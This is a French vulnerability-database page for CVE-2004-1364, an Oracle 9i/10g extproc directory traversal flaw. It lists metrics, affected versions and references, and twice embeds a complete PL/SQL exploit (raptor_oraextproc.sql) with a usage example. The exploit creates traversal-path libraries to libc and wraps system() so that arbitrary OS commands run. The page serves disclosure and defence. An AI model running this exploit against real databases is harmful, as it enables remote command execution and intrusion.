CVE-2004-1364 : Détail

CVE-2004-1364

Directory Traversal
A01-Broken Access Control
3.09%V3
Network
2005-01-19
04h00 +00:00
2018-10-19
12h57 +00:00
CVE.org
NVD
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

Directory traversal vulnerability in extproc in Oracle 9i and 10g allows remote attackers to access arbitrary libraries outside of the $ORACLE_HOME\bin directory.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 8.5 AV:N/AC:M/Au:S/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 2951

Date de publication : 2006-12-18 23h00 +00:00
Auteur : Marco Ivaldi
EDB Vérifié : Yes

-- -- $Id: raptor_oraextproc.sql,v 1.1 2006/12/19 14:21:00 raptor Exp $ -- -- raptor_oraextproc.sql - command exec via oracle extproc -- Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info> -- -- Directory traversal vulnerability in extproc in Oracle 9i and 10g -- allows remote attackers to access arbitrary libraries outside of the -- $ORACLE_HOME\bin directory (CVE-2004-1364). -- -- This PL/SQL code exploits the Oracle extproc directory traversal bug -- to remotely execute arbitrary OS commands with the privileges of the DBMS -- user (the CREATE [ANY] LIBRARY privilege is needed). -- -- See also: -- http://www.0xdeadbeef.info/exploits/raptor_oraexec.sql -- http://www.0xdeadbeef.info/exploits/raptor_orafile.sql -- -- Vulnerable platforms: -- Oracle 9i (all versions?) -- Oracle 10g versions prior to 10.1.0.3 -- -- Tested on Oracle9i Enterprise Edition Release 9.2.0.1.0 - 64bit Production, -- running on both Solaris 9 and 10 systems. It will need some tweakings to -- properly work on other platforms. -- -- Usage example: -- $ echo $ORACLE_HOME -- /opt/oracle/ -- $ sqlplus "/ as sysdba" -- [...] -- Connected to: -- Oracle9i Enterprise Edition Release 9.2.0.1.0 - 64bit Production -- With the Partitioning, OLAP and Oracle Data Mining options -- JServer Release 9.2.0.1.0 - Production -- SQL> @raptor_oraextproc.sql -- [...] -- exec oracmd32.exec('touch /tmp/32'); -- [...] -- ERROR at line 1: -- ORA-06520: PL/SQL: Error loading external library -- ORA-06522: ld.so.1: extprocPLSExtProc: fatal: -- /opt/oracle/bin/../../../../../../../lib/32/libc.so.1: wrong ELF class: -- ELFCLASS32 -- [...] -- SQL> exec oracmd64.exec('touch /tmp/64'); -- SQL> !ls -l /tmp/64 -- -rw-r--r-- 1 oracle orainst 0 Dec 19 13:49 /tmp/64 -- -- library for 32-bit oracle releases create or replace library exec_shell32 as '$ORACLE_HOME/bin/../../../../../../../lib/32/libc.so.1'; / -- library for 64-bit oracle releases create or replace library exec_shell64 as '$ORACLE_HOME/bin/../../../../../../../lib/64/libc.so.1'; / -- package for 32-bit oracle releases -- usage: exec oracmd32.exec('command'); create or replace package oracmd32 as procedure exec(cmdstring in char); end oracmd32; / create or replace package body oracmd32 as procedure exec(cmdstring in char) is external name "system" library exec_shell32 language c; end oracmd32; / -- package for 64-bit oracle releases -- usage: exec oracmd64.exec('command'); create or replace package oracmd64 as procedure exec(cmdstring in char); end oracmd64; / create or replace package body oracmd64 as procedure exec(cmdstring in char) is external name "system" library exec_shell64 language c; end oracmd64; / -- milw0rm.com [2006-12-19]
Exploit Database EDB-ID : 24353

Date de publication : 2004-08-03 22h00 +00:00
Auteur : Marco Ivaldi
EDB Vérifié : Yes

source: https://www.securityfocus.com/bid/10871/info Reportedly, multiple unspecified Oracle products contain multiple unspecified vulnerabilities. The reported vulnerabilities include SQL-injection issues, buffer-overflow issues, and others. There have also been reports that issues covered in this BID and resolved in the referenced Oracle patch include trigger-abuse issues, character-set-conversion bugs, and denial-of-service vulnerabilities. More information is pending. Note that a number of unsupported versions of affected products may also potentially be vulnerable. -- -- $Id: raptor_oraextproc.sql,v 1.1 2006/12/19 14:21:00 raptor Exp $ -- -- raptor_oraextproc.sql - command exec via oracle extproc -- Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info> -- -- Directory traversal vulnerability in extproc in Oracle 9i and 10g -- allows remote attackers to access arbitrary libraries outside of the -- $ORACLE_HOME\bin directory (CVE-2004-1364). -- -- This PL/SQL code exploits the Oracle extproc directory traversal bug -- to remotely execute arbitrary OS commands with the privileges of the DBMS -- user (the CREATE [ANY] LIBRARY privilege is needed). -- -- See also: -- http://www.0xdeadbeef.info/exploits/raptor_oraexec.sql -- http://www.0xdeadbeef.info/exploits/raptor_orafile.sql -- -- Vulnerable platforms: -- Oracle 9i (all versions?) -- Oracle 10g versions prior to 10.1.0.3 -- -- Tested on Oracle9i Enterprise Edition Release 9.2.0.1.0 - 64bit Production, -- running on both Solaris 9 and 10 systems. It will need some tweakings to -- properly work on other platforms. -- -- Usage example: -- $ echo $ORACLE_HOME -- /opt/oracle/ -- $ sqlplus "/ as sysdba" -- [...] -- Connected to: -- Oracle9i Enterprise Edition Release 9.2.0.1.0 - 64bit Production -- With the Partitioning, OLAP and Oracle Data Mining options -- JServer Release 9.2.0.1.0 - Production -- SQL> @raptor_oraextproc.sql -- [...] -- exec oracmd32.exec('touch /tmp/32'); -- [...] -- ERROR at line 1: -- ORA-06520: PL/SQL: Error loading external library -- ORA-06522: ld.so.1: extprocPLSExtProc: fatal: -- /opt/oracle/bin/../../../../../../../lib/32/libc.so.1: wrong ELF class: -- ELFCLASS32 -- [...] -- SQL> exec oracmd64.exec('touch /tmp/64'); -- SQL> !ls -l /tmp/64 -- -rw-r--r-- 1 oracle orainst 0 Dec 19 13:49 /tmp/64 -- -- library for 32-bit oracle releases create or replace library exec_shell32 as '$ORACLE_HOME/bin/../../../../../../../lib/32/libc.so.1'; / -- library for 64-bit oracle releases create or replace library exec_shell64 as '$ORACLE_HOME/bin/../../../../../../../lib/64/libc.so.1'; / -- package for 32-bit oracle releases -- usage: exec oracmd32.exec('command'); create or replace package oracmd32 as procedure exec(cmdstring in char); end oracmd32; / create or replace package body oracmd32 as procedure exec(cmdstring in char) is external name "system" library exec_shell32 language c; end oracmd32; / -- package for 64-bit oracle releases -- usage: exec oracmd64.exec('command'); create or replace package oracmd64 as procedure exec(cmdstring in char); end oracmd64; / create or replace package body oracmd64 as procedure exec(cmdstring in char) is external name "system" library exec_shell64 language c; end oracmd64; / -- milw0rm.com [2006-12-19]

Products Mentioned

Configuraton 0

Oracle>>Application_server >> Version *

Oracle>>Application_server >> Version 9.0.2

Oracle>>Application_server >> Version 9.0.2.0.0

Oracle>>Application_server >> Version 9.0.2.0.1

Oracle>>Application_server >> Version 9.0.2.1

Oracle>>Application_server >> Version 9.0.2.2

Oracle>>Application_server >> Version 9.0.2.3

Oracle>>Application_server >> Version 9.0.3

Oracle>>Application_server >> Version 9.0.3.1

Oracle>>Application_server >> Version 9.0.4

Oracle>>Application_server >> Version 9.0.4.0

Oracle>>Application_server >> Version 9.0.4.1

Oracle>>Collaboration_suite >> Version release_1

    Oracle>>E-business_suite >> Version 11.5.1

    Oracle>>E-business_suite >> Version 11.5.2

    Oracle>>E-business_suite >> Version 11.5.3

    Oracle>>E-business_suite >> Version 11.5.4

    Oracle>>E-business_suite >> Version 11.5.5

    Oracle>>E-business_suite >> Version 11.5.6

    Oracle>>E-business_suite >> Version 11.5.7

    Oracle>>E-business_suite >> Version 11.5.8

    Oracle>>E-business_suite >> Version 11.5.9

    Oracle>>Enterprise_manager >> Version 9

    Oracle>>Enterprise_manager >> Version 9.0.1

    Oracle>>Enterprise_manager_database_control >> Version 10.1.2

    Oracle>>Enterprise_manager_grid_control >> Version 10.1.0.2

    Oracle>>Oracle10g >> Version enterprise_9.0.4_.0

      Oracle>>Oracle10g >> Version enterprise_10.1.0.2

        Oracle>>Oracle10g >> Version personal_9.0.4_.0

          Oracle>>Oracle10g >> Version personal_10.1_.0.2

            Oracle>>Oracle10g >> Version standard_9.0.4_.0

              Oracle>>Oracle10g >> Version standard_10.1_.0.2

                Oracle>>Oracle8i >> Version enterprise_8.0.5_.0.0

                  Oracle>>Oracle8i >> Version enterprise_8.0.6_.0.0

                    Oracle>>Oracle8i >> Version enterprise_8.0.6_.0.1

                      Oracle>>Oracle8i >> Version enterprise_8.1.5_.0.0

                        Oracle>>Oracle8i >> Version enterprise_8.1.5_.0.2

                          Oracle>>Oracle8i >> Version enterprise_8.1.5_.1.0

                            Oracle>>Oracle8i >> Version enterprise_8.1.6_.0.0

                              Oracle>>Oracle8i >> Version enterprise_8.1.6_.1.0

                                Oracle>>Oracle8i >> Version enterprise_8.1.7_.0.0

                                  Oracle>>Oracle8i >> Version enterprise_8.1.7_.1.0

                                    Oracle>>Oracle8i >> Version enterprise_8.1.7_.4

                                      Oracle>>Oracle8i >> Version standard_8.0.6

                                        Oracle>>Oracle8i >> Version standard_8.0.6_.3

                                          Oracle>>Oracle8i >> Version standard_8.1.5

                                            Oracle>>Oracle8i >> Version standard_8.1.6

                                              Oracle>>Oracle8i >> Version standard_8.1.7

                                                Oracle>>Oracle8i >> Version standard_8.1.7_.0.0

                                                  Oracle>>Oracle8i >> Version standard_8.1.7_.1

                                                    Oracle>>Oracle8i >> Version standard_8.1.7_.4

                                                      Oracle>>Oracle9i >> Version client_9.2.0.1

                                                        Oracle>>Oracle9i >> Version client_9.2.0.2

                                                          Oracle>>Oracle9i >> Version enterprise_8.1.7

                                                            Oracle>>Oracle9i >> Version enterprise_9.0.1

                                                              Oracle>>Oracle9i >> Version enterprise_9.0.1.4

                                                                Oracle>>Oracle9i >> Version enterprise_9.0.1.5

                                                                  Oracle>>Oracle9i >> Version enterprise_9.2.0

                                                                    Oracle>>Oracle9i >> Version enterprise_9.2.0.1

                                                                      Oracle>>Oracle9i >> Version enterprise_9.2.0.2

                                                                        Oracle>>Oracle9i >> Version enterprise_9.2.0.3

                                                                          Oracle>>Oracle9i >> Version enterprise_9.2.0.4

                                                                            Oracle>>Oracle9i >> Version enterprise_9.2.0.5

                                                                              Oracle>>Oracle9i >> Version personal_8.1.7

                                                                                Oracle>>Oracle9i >> Version personal_9.0.1

                                                                                  Oracle>>Oracle9i >> Version personal_9.0.1.4

                                                                                    Oracle>>Oracle9i >> Version personal_9.0.1.5

                                                                                      Oracle>>Oracle9i >> Version personal_9.2

                                                                                        Oracle>>Oracle9i >> Version personal_9.2.0.1

                                                                                          Oracle>>Oracle9i >> Version personal_9.2.0.2

                                                                                            Oracle>>Oracle9i >> Version personal_9.2.0.3

                                                                                              Oracle>>Oracle9i >> Version personal_9.2.0.4

                                                                                                Oracle>>Oracle9i >> Version personal_9.2.0.5

                                                                                                  Oracle>>Oracle9i >> Version standard_8.1.7

                                                                                                    Oracle>>Oracle9i >> Version standard_9.0

                                                                                                      Oracle>>Oracle9i >> Version standard_9.0.1

                                                                                                        Oracle>>Oracle9i >> Version standard_9.0.1.2

                                                                                                          Oracle>>Oracle9i >> Version standard_9.0.1.3

                                                                                                            Oracle>>Oracle9i >> Version standard_9.0.1.4

                                                                                                              Oracle>>Oracle9i >> Version standard_9.0.1.5

                                                                                                                Oracle>>Oracle9i >> Version standard_9.0.2

                                                                                                                  Oracle>>Oracle9i >> Version standard_9.2

                                                                                                                    Oracle>>Oracle9i >> Version standard_9.2.0.1

                                                                                                                      Oracle>>Oracle9i >> Version standard_9.2.0.2

                                                                                                                        Oracle>>Oracle9i >> Version standard_9.2.0.3

                                                                                                                          Oracle>>Oracle9i >> Version standard_9.2.0.4

                                                                                                                            Oracle>>Oracle9i >> Version standard_9.2.0.5

                                                                                                                              Références

                                                                                                                              http://www.kb.cert.org/vuls/id/316206
                                                                                                                              Tags : third-party-advisory, x_refsource_CERT-VN
                                                                                                                              http://www.us-cert.gov/cas/techalerts/TA04-245A.html
                                                                                                                              Tags : third-party-advisory, x_refsource_CERT
                                                                                                                              http://marc.info/?l=bugtraq&m=110382406002365&w=2
                                                                                                                              Tags : mailing-list, x_refsource_BUGTRAQ
                                                                                                                              http://www.securityfocus.com/bid/10871
                                                                                                                              Tags : vdb-entry, x_refsource_BID
                                                                                                                              http://sunsolve.sun.com/search/document.do?assetkey=1-26-101782-1
                                                                                                                              Tags : vendor-advisory, x_refsource_SUNALERT